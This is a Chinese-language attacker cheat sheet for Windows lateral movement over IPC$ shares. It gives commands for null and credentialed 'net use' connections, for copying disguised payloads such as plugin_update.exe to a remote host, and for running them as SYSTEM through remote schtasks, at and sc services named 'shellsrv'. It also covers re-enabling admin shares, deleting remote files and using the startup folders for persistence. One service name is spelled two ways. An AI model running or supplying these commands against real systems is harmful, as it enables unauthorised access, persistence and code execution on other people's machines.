IPC渗透
2023-05-06
4 min read
自启动目录
#系统自启动
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
#用户自启动
c:\users\用户名\appdata\roaming\Microsoft\Windows\Start Menu\Programs\Startup
查看本机连接共享情况
net use
建立空连接
net use \\192.168.1.1\ipc$ "" /u:""
建立正常连接
net use \\192.168.1.1\ipc$ "1qaz@WSX" /user:"Administrator"
查看已建立连接目标主机的共享资源
net view \\192.168.1.1
查看目标主机时间
net time \\192.168.1.1
删除本机与指定ip建立的连接
net use \\192.168.1.1\ipc$ /del /y
删除本机所有已建立的连接
net use * /del /y
文件的上传下载与删除
copy plugin_update.exe \\192.168.1.1\c$\windows\temp\plugin_update.exe
[推荐用xcopy]:
xcopy d:\sqlitedata\*.* \\192.168.1.1\c$\temp /E /Y /D
(上传本地文件到目标的:c\windows\temp\目录下)
copy \\192.168.1.1\c$\plugin_update.exe c:\
(下载目标文件到本地c盘下)
del \\192.168.1.1\c$\plugin_update.exe /F
(删除目标文件)
创建计划任务之schtasks
schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 16:32 /S 192.168.1.1 /RU System /u administrator /p "1qaz@WSX"
补充1:schtasks /create /tn "Flash_Update" /tr C:\Users\Public\Flash_Update.exe /sc minute /mo 1 /S 192.168.1.1 /RU System /u administrator /p "1qaz@WSX"
立即执行计划任务
schtasks /run /tn "plugin_update" /S 192.168.1.1 /u administrator /p "1qaz@WSX"
删除计划任务
schtasks /F /delete /tn "plugin_update" /S 192.168.1.1 /u administrator /p "1qaz@WSX"
计划任务远程开启默认共享{注意查看目标主机时间}
schtasks /create /tn "plugin_update" /tr "cmd /c net share c$=c:" /sc once /st 16:25 /S 192.168.1.1 /RU System /u administrator /p "1qaz@WSX"
创建计划任务之at
(at只支持win03和部分老版本win08,一般情况下,win08-SP1的系统是能添加at计划任务的,但不一定执行,推荐win08及之后的系统都选择schtasks创建计划任务)
at \\192.168.1.1 14:05 cmd /c "c:\windows\temp\test.bat"
SC创建服务
(需先IPC连接,添加的常规程序需要有返回值,不然启动服务时会报1053错误)
sc \\192.168.1.1 create shellsrv binpath= "c:\shell.exe" start= auto displayname= "shellstart"
sc \\192.168.1.1 create test binpath= "c:\windows\temp\test.bat" start= auto displayname= "shellstart"
sc \\192.168.1.1 start shllsrv
sc \\192.168.1.1 stop shllsrv
sc \\192.168.1.1 delete shellsrv
删除默认共享
net share c$ /del
恢复默认共享
net share c$=c:
对方的c盘映射为自己的z盘,其他盘类推(不推荐)
net use z: \\192.168.1.1\c$ "1qaz@WSX" /user:"administrator"
删除映射的c盘,其他盘类推
net use c: /del